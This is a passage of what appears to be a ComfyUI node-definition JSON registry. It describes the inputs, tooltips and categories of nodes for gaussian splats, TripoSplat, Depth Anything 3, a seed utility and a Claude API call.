"comfy_extras.nodes_mediapipe", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["face", "facial", "mediapipe", "face mask", "blazeface", "face detection", "visualize"], "essentials_category": null, "has_intermediate_output": false}, "SplatToFile3D": {"input": {"required": {"splat": ["SPLAT", {}], "format": ["COMBO", {"tooltip": "ply: standard 3D Gaussian Splat with full spherical harmonics. ksplat: mkkellogg SplatBuffer (level 0, uncompressed), base color only spz: Niantic gzip-compressed (~10x smaller), base color only ", "multiselect": false, "options": ["ply", "ksplat", "spz"]}]}}, "input_order": {"required": ["splat", "format"]}, "is_input_list": false, "output": ["FILE_3D_SPLAT_ANY"], "output_is_list": [false], "output_name": ["model_3d"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToFile3D", "display_name": "Create 3D File (from Splat)", "description": "Serialize a gaussian splat to a File3D object for Save / Preview 3D nodes. Supports one item per batch only.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["gaussian to ply", "splat to file", "export gaussian"], "essentials_category": null, "has_intermediate_output": false}, "File3DToSplat": {"input": {"required": {"model_3d": ["FILE_3D,FILE_3D_SPLAT_ANY,FILE_3D_PLY,FILE_3D_SPLAT,FILE_3D_KSPLAT,FILE_3D_SPZ", {"tooltip": "A gaussian splat 3D file"}]}}, "input_order": {"required": ["model_3d"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "File3DToSplat", "display_name": "Get Splat", "description": "Parse a splat File3D into a gaussian splat. Inverse of Create 3D File (from Splat). Supported format: PLY, SPLAT, KSPLAT, SPZ. PLY carries full spherical harmonics, the other formats are base color only. Format is auto-detected from the file contents.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["load splat", "ply to splat", "import splat", "file to splat"], "essentials_category": null, "has_intermediate_output": false}, "RenderSplat": {"input": {"required": {"splat": ["SPLAT", {}], "width": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "height": ["INT", {"default": 1024, "min": 64, "max": 2048, "step": 8}], "frames": ["INT", {"tooltip": "-1, 0, 1 = single still image; >1 = turntable, the camera orbits over a full 360 turn (works with any camera_info). Negative value orbits the other way.", "default": 1, "min": -240, "max": 240}], "splat_scale": ["FLOAT", {"tooltip": "Multiplier on each splat's projected footprint (lower = crisper points, higher = softer/fuller surface).", "advanced": true, "default": 1.0, "min": 0.1, "max": 5.0, "step": 0.05}], "sharpen": ["FLOAT", {"tooltip": "Sharpen overlapping splats: 1.0 = physically-correct blend; higher biases each pixel toward its dominant (nearest) splat for crisper texture, without shrinking splats or opening gaps. Non-physical above 1.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}], "headlight_shading": ["FLOAT", {"tooltip": "Diffuse shading from a light at the camera (headlight), using the splat surfel normals: darkens surfaces that turn away from view to reveal form/curvature. 0 = flat albedo, 1 = strongest shading.", "advanced": true, "default": 0.0, "min": 0.0, "max": 3.0, "step": 0.05}], "opacity_threshold": ["FLOAT", {"tooltip": "Cull gaussians with opacity below this (removes faint floaters).", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "render_style": ["COMBO", {"tooltip": "What the image output shows: color, clay (neutral-albedo shaded), depth (near=bright), normal (OpenGL normal map).", "multiselect": false, "options": ["color", "clay", "depth", "normal"]}], "background": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"bg_image": ["IMAGE", {"tooltip": "Optional background plate composited behind the splat (overrides the solid background colour). Resized to the render size; a batch is used per frame, a single image for all. color/clay only."}], "camera_info": ["LOAD3D_CAMERA", {"tooltip": "Camera to render from - a Load3D / Preview3D camera or a Create Camera Info node. If empty, the splat is auto-framed from a default 3/4 view."}]}}, "input_order": {"required": ["splat", "width", "height", "frames", "splat_scale", "sharpen", "headlight_shading", "opacity_threshold", "render_style", "background"], "optional": ["bg_image", "camera_info"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RenderSplat", "display_name": "Render Splat", "description": "Render a gaussian splat as an image with an anisotropic EWA rasterizer (oriented elliptical splats, antialiased, depth-sorted front-to-back). The camera comes from a camera_info input (Load / Preview 3D, or a Create Camera Info node); leave it empty to auto-frame the splat. Set frames greater than 1 for a turntable batch of images to feed a Video node.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to image", "render splat", "gaussian turntable"], "essentials_category": null, "has_intermediate_output": false}, "CreateCameraInfo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to define the camera: orbit angles, an explicit position, or a position + quaternion.", "options": [{"key": "orbit", "inputs": {"required": {"yaw": ["FLOAT", {"default": 35.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"default": 30.0, "min": -89.0, "max": 89.0, "step": 1.0}], "distance": ["FLOAT", {"tooltip": "Camera distance from the target.", "default": 4.0, "min": 0.01, "max": 1000.0, "step": 0.01}]}}}, {"key": "look_at", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}]}}}, {"key": "quaternion", "inputs": {"required": {"position_x": ["FLOAT", {"tooltip": "Camera position in world space (right-handed, Y-up).", "default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_y": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "position_z": ["FLOAT", {"default": 4.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "quat_x": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_y": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_z": ["FLOAT", {"default": 0.0, "min": -1.0, "max": 1.0, "step": 0.001}], "quat_w": ["FLOAT", {"tooltip": "Camera world-rotation quaternion (three.js: looks down local -Z). Normalized for you.", "default": 1.0, "min": -1.0, "max": 1.0, "step": 0.001}]}}}]}], "target_x": ["FLOAT", {"tooltip": "Look-at point (orbit pivot / aim). In orbit mode, move it to pan/translate the whole camera. Ignored in quaternion mode. Defaults to the origin.", "advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_y": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "target_z": ["FLOAT", {"advanced": true, "default": 0.0, "min": -1000.0, "max": 1000.0, "step": 0.01}], "roll": ["FLOAT", {"tooltip": "Camera roll about the view axis, degrees.", "default": 0.0, "min": -180.0, "max": 180.0, "step": 1.0}], "fov": ["FLOAT", {"tooltip": "Vertical field of view in degrees.", "default": 35.0, "min": 1.0, "max": 120.0, "step": 1.0}], "zoom": ["FLOAT", {"tooltip": "Digital zoom (focal-length multiplier). >1 zooms in without moving the camera.", "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "camera_type": ["COMBO", {"tooltip": "Projection used by Render Splat: perspective (foreshortening) or orthographic (parallel).", "multiselect": false, "options": ["perspective", "orthographic"]}]}}, "input_order": {"required": ["mode", "target_x", "target_y", "target_z", "roll", "fov", "zoom", "camera_type"]}, "is_input_list": false, "output": ["LOAD3D_CAMERA"], "output_is_list": [false], "output_name": ["camera_info"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateCameraInfo", "display_name": "Create Camera Info", "description": "Build a camera_infoMode 'orbit' aims with yaw/pitch/distance around the target; 'look_at' places the camera at world position. Coordinates are the viewer's world space (right-handed,Y-up).", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["camera position", "make camera info", "orbit camera", "look at camera"], "essentials_category": null, "has_intermediate_output": false}, "TransformSplat": {"input": {"required": {"splat": ["SPLAT", {}], "translate_x": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_y": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "translate_z": ["FLOAT", {"default": 0.0, "min": -100.0, "max": 100.0, "step": 0.01}], "rotate_x": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_y": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "rotate_z": ["FLOAT", {"default": 0.0, "min": -360.0, "max": 360.0, "step": 1.0}], "scale_x": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_y": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}], "scale_z": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["splat", "translate_x", "translate_y", "translate_z", "rotate_x", "rotate_y", "rotate_z", "scale_x", "scale_y", "scale_z"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "TransformSplat", "display_name": "Transform Splat", "description": "Translate, rotate, and scale a gaussian splat. Non-uniform scale also reshapes every individual splat, slower process.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["move splat", "rotate splat", "scale splat", "gaussian transform"], "essentials_category": null, "has_intermediate_output": false}, "GetSplatCount": {"input": {"required": {"splat": ["SPLAT", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["splat"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["SPLAT", "INT"], "output_is_list": [false, false], "output_name": ["splat", "count"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "GetSplatCount", "display_name": "Get Splat Count", "description": "Returns the number of splats summed across the batch.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat count", "gaussian count", "number of splats", "splat info"], "essentials_category": null, "has_intermediate_output": false}, "MergeSplat": {"input": {"required": {"splats": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"splat": ["SPLAT", {}]}}, "prefix": "splat", "min": 2, "max": 32}}]}}, "input_order": {"required": ["splats"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "MergeSplat", "display_name": "Merge Splats", "description": "Concatenate any number of gaussian splats into one. Unioning several decodes of the same latent at different seeds densifies the surface, this can improve surface quality when meshing.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["union splat", "densify gaussian", "combine splat", "merge gaussian"], "essentials_category": null, "has_intermediate_output": false}, "SplatToMesh": {"input": {"required": {"splat": ["SPLAT", {}], "resolution": ["INT", {"tooltip": "Density-grid resolution along the longest axis. Higher = finer surface, more VRAM/time (grows with resolution^3).", "default": 384, "min": 64, "max": 768, "step": 16}], "kernel": ["INT", {"tooltip": "Max splat half-width in voxels. Each gaussian is rasterized over a window sized to its own 3-sigma, capped here - small surfels stay cheap, large ones aren't truncated. Raise if sparse splats leave gaps.", "default": 5, "min": 1, "max": 8}], "smooth": ["INT", {"tooltip": "Taubin mesh-smoothing iterations. Smooths the surface without shrinking it (volume-preserving), unlike blurring the density. 0 = raw surface.", "advanced": true, "default": 0, "min": 0, "max": 60}], "level": ["FLOAT", {"tooltip": "Iso-surface level. Auto-picked by Otsu; this biases it (1.0 = auto, lower = fatter/more-connected surface, higher = thinner/tighter).", "default": 0.4, "min": 0.0, "max": 2.0, "step": 0.01}], "min_component": ["INT", {"tooltip": "Drop connected components smaller than this many vertices (0 = keep all). Removes detached floater blobs and the inner shell of the double wall.", "advanced": true, "default": 500, "min": 0, "max": 100000, "step": 50}], "min_opacity": ["FLOAT", {"tooltip": "Ignore gaussians fainter than this before meshing.", "advanced": true, "default": 0.02, "min": 0.0, "max": 1.0, "step": 0.01}], "color_sharpen": ["FLOAT", {"tooltip": "Crisp up the vertex texture: 1.0 = physically-correct blend; higher biases each voxel's colour toward its dominant gaussian instead of averaging neighbours (de-smears the texture). Colour only - geometry is unchanged.", "default": 2.0, "min": 1.0, "max": 8.0, "step": 0.5}]}}, "input_order": {"required": ["splat", "resolution", "kernel", "smooth", "level", "min_component", "min_opacity", "color_sharpen"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["mesh"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplatToMesh", "display_name": "Extract Mesh from Splat", "description": "Extract a coloured mesh from a gaussian splat.", "python_module": "comfy_extras.nodes_gaussian_splat", "category": "3d/splat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["splat to mesh", "gaussian surface nets", "splat surface", "mesh splat"], "essentials_category": null, "has_intermediate_output": false}, "TripoSplatPreprocessImage": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "erode_radius": ["INT", {"tooltip": "Erode the alpha matte by this pixel radius before cropping (avoids border bleed).", "default": 1, "min": 0, "max": 16}], "size": ["INT", {"tooltip": "Square image size. The model is trained at 1024; other sizes run but are off-distribution.", "default": 1024, "min": 256, "max": 4096, "step": 16}]}}, "input_order": {"required": ["image", "mask", "erode_radius", "size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatPreprocessImage", "display_name": "TripoSplat Preprocess Image", "description": "Crop center each image to a square canvas on a black background and add padding.", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatConditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION", {"tooltip": "DINOv3 ViT-H/16+ image encoder"}], "vae": ["VAE", {"tooltip": "Flux2 VAE"}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["clip_vision", "vae", "image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "The fixed size noise target (latent +camera)."], "output_matchtypes": null, "name": "TripoSplatConditioning", "display_name": "TripoSplat Conditioning", "description": "Encode the image with DINOv3 and the Flux2 VAE into TripoSplat positive/negative conditioning, and create the fixed size noise target (latent + camera) for the KSampler", "python_module": "comfy_extras.nodes_triposplat", "category": "model/conditioning/triposplat", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeTripoSplat": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce (rounded to a multiple of 32). 262144 matches the octree's point density; higher oversamples the same points (denser, but no new detail) and costs proportionally more VRAM/time.", "default": 262144, "min": 32768, "max": 1048576, "step": 32}], "seed": ["INT", {"tooltip": "Seeds the octree point sampler (global RNG) for deterministic decodes.", "default": 0, "min": 0, "max": 18446744073709551615}]}}, "input_order": {"required": ["samples", "vae", "num_gaussians", "seed"]}, "is_input_list": false, "output": ["SPLAT"], "output_is_list": [false], "output_name": ["splat"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeTripoSplat", "display_name": "TripoSplat Decode", "description": "Decode the sampled TripoSplat latent into a 3D gaussian splat. Modify the number of gaussians to vary the density.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoSplatSamplingPreview": {"input": {"required": {"model": ["MODEL", {}], "vae": ["VAE", {"tooltip": "TripoSplat VAE decoder"}], "octree_level": ["INT", {"tooltip": "Octree depth for the preview decode (lower = cheaper/coarser).", "advanced": true, "default": 5, "min": 2, "max": 8}], "num_gaussians": ["INT", {"tooltip": "Number of gaussians to produce for the preview (rounded to a multiple of 32).", "default": 16384, "min": 1024, "max": 262144, "step": 32}], "yaw": ["FLOAT", {"tooltip": "Preview camera yaw in degrees.", "advanced": true, "default": 90.0, "min": -360.0, "max": 360.0, "step": 1.0}], "pitch": ["FLOAT", {"tooltip": "Preview camera pitch in degrees.", "advanced": true, "default": 15.0, "min": -89.0, "max": 89.0, "step": 1.0}], "point_size": ["INT", {"tooltip": "Maximum splat radius in pixels. Each gaussian is sized from its scale and capped here; lower = finer/pointier, higher = chunkier.", "default": 3, "min": 1, "max": 16}]}}, "input_order": {"required": ["model", "vae", "octree_level", "num_gaussians", "yaw", "pitch", "point_size"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoSplatSamplingPreview", "display_name": "TripoSplat Sampling Preview", "description": "Patch the TripoSplat model for the standard Ksampler node to show a live decoded gaussian splat preview at each step.", "python_module": "comfy_extras.nodes_triposplat", "category": "3d/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadDA3Model": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}], "weight_dtype": ["COMBO", {"default": "default", "multiselect": false, "options": ["default", "fp16", "bf16", "fp32"]}]}}, "input_order": {"required": ["model_name", "weight_dtype"]}, "is_input_list": false, "output": ["DA3_MODEL"], "output_is_list": [false], "output_name": ["DA3_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadDA3Model", "display_name": "Load Depth Anything 3", "description": "", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3Inference": {"input": {"required": {"da3_model": ["DA3_MODEL", {}], "image": ["IMAGE", {}], "resolution": ["INT", {"tooltip": "Resolution the model runs at (longest side, multiple of 14).\nLower = faster / less VRAM.\nHigher = more detail.\nOutput is upsampled back to the original size.", "default": 504, "min": 140, "max": 2520, "step": 14}], "resize_method": ["COMBO", {"tooltip": "upper_bound_resize: scale so the longest side = resolution (caps memory, default).\nlower_bound_resize: scale so the shortest side = resolution (preserves more detail on tall/wide images, uses more memory).", "default": "upper_bound_resize", "multiselect": false, "options": ["upper_bound_resize", "lower_bound_resize"]}], "mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "mono: single view image (works with any model variant).\nmultiview: all images processed together for geometric consistency + camera pose (for Small/Base models only).", "options": [{"key": "mono", "inputs": {"required": {}}}, {"key": "multiview", "inputs": {"required": {"ref_view_strategy": ["COMBO", {"tooltip": "Which view acts as the geometric anchor.\n- saddle_balanced: the view most 'average' across all others (best general choice).\n- saddle_sim_range: the view most visually distinct from the others.\n- first / middle: fixed positional picks.", "default": "saddle_balanced", "multiselect": false, "options": ["saddle_balanced", "saddle_sim_range", "first", "middle"]}], "pose_method": ["COMBO", {"tooltip": "How the camera field-of-view is estimated (for Small/Base models only).\n- cam_dec: learned from image features.\n- ray_pose: derived geometrically from the model's 3D ray output.\nAffects perspective correctness of the 3D output. Try both if results look distorted.", "default": "cam_dec", "multiselect": false, "options": ["cam_dec", "ray_pose"]}]}}}]}]}}, "input_order": {"required": ["da3_model", "image", "resolution", "resize_method", "mode"]}, "is_input_list": false, "output": ["DA3_GEOMETRY"], "output_is_list": [false], "output_name": ["da3_geometry"], "output_tooltips": ["Dictionary of non-normalized tensors.\nAlways has the keys: depth, image, mode.\nOptional keys: sky (for Mono/Metric), confidence (for Small/Base), extrinsics + intrinsics (for multi-view)."], "output_matchtypes": null, "name": "DA3Inference", "display_name": "Run Depth Anything 3", "description": "Run Depth Anything 3 on an image. In multi-view mode each image is treated as a separate view of the same scene.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["depth", "geometry", "da3", "depth anything", "monocular", "pointmap", "sky", "3d", "metric depth", "disparity"], "essentials_category": null, "has_intermediate_output": false}, "DA3Render": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "output": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "- depth: normalised greyscale depth image.\n- depth_colored: depth mapped through the Turbo colormap.\n- sky_mask: sky probability in [0, 1] (for Mono/Metric models only).\n- confidence: normalised depth confidence (for Small/Base models only).", "options": [{"key": "depth", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "depth_colored", "inputs": {"required": {"normalization": ["COMBO", {"tooltip": "- v2_style: mean/std normalisation for perceptually balanced results (default).\n- min_max: stretches the full depth range to [0, 1] for maximum contrast.\n- raw: no scaling,preserves metric units for Metric model.", "default": "v2_style", "multiselect": false, "options": ["v2_style", "min_max", "raw"]}], "apply_sky_clip": ["BOOLEAN", {"tooltip": "Clip sky-region depth to the 99th percentile of foreground depth before normalisation. Requires a sky key in the da3_geometry input (for Mono/Metric models only).", "default": false}]}}}, {"key": "sky_mask", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the sky mask.", "default": false}]}}}, {"key": "confidence", "inputs": {"required": {"colored": ["BOOLEAN", {"tooltip": "Apply the Turbo colormap to the confidence map.", "default": false}]}}}]}]}}, "input_order": {"required": ["da3_geometry", "output"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3Render", "display_name": "Render Depth Anything 3", "description": "Render a depth map, confidence map, or sky mask from Depth Anything 3 geometry data.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DA3GeometryToMesh": {"input": {"required": {"da3_geometry": ["DA3_GEOMETRY", {}], "batch_index": ["INT", {"tooltip": "Which image of a batch to convert. Per-image vertex counts differ so batches cannot be stacked.", "default": 0, "min": 0, "max": 4096}], "decimation": ["INT", {"tooltip": "Vertex stride. 1 = full resolution, 2 = half, etc.", "default": 1, "min": 1, "max": 8}], "discontinuity_threshold": ["FLOAT", {"tooltip": "Drop triangles whose 3x3 depth span exceeds this fraction. 0 = off.", "default": 0.04, "min": 0.0, "max": 1.0, "step": 0.01}], "confidence_threshold": ["FLOAT", {"tooltip": "Exclude pixels whose per-image normalised confidence is below this value (0 = keep all, 1 = keep only the single most confident pixel). Used when the geometry has a confidence map (Small/Base models).", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}], "use_sky_mask": ["BOOLEAN", {"tooltip": "Exclude sky-probability pixels (sky >= 0.5) from the mesh. Used when the geometry has a sky map (Mono/Metric models).", "default": true}], "texture": ["BOOLEAN", {"tooltip": "Use the source image as a base color texture.", "default": true}]}}, "input_order": {"required": ["da3_geometry", "batch_index", "decimation", "discontinuity_threshold", "confidence_threshold", "use_sky_mask", "texture"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "DA3GeometryToMesh", "display_name": "Convert DA3 Geometry to Mesh", "description": "Convert a depth map into a triangulated 3D mesh.", "python_module": "comfy_extras.nodes_depth_anything_3", "category": "image/geometry estimation", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["da3", "depth anything", "mesh", "geometry", "3d", "triangulate"], "essentials_category": null, "has_intermediate_output": false}, "SeedNode": {"input": {"required": {"seed": ["INT", {"min": 0, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["seed"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["seed"], "output_tooltips": [null], "output_matchtypes": null, "name": "SeedNode", "display_name": "Seed", "description": "", "python_module": "comfy_extras.nodes_seed", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["seed", "random"], "essentials_category": null, "has_intermediate_output": false}, "ClaudeNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The Claude model used to generate the response.", "options": [{"key": "Opus 4.7", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Opus 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.6", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Sonnet 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "reasoning_effort": ["COMBO", {"tooltip": "Extended thinking effort. 'off' disables reasoning.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "Haiku 4.5", "inputs": {"required": {"max_tokens": ["INT", {"tooltip": "Maximum number of tokens to generate (includes reasoning tokens when enabled).", "advanced": true, "default": 32768, "min": 4096, "max": 64000}], "temperature": ["FLOAT", {"tooltip": "Controls randomness. 0.0 is deterministic, 1.0 is most random. Ignored for Opus 4.7 and any model when reasoning_effort is set.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional image(s) to use as context for the model. Up to 20 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "images"], "optional": ["system_prompt"], "hidden": 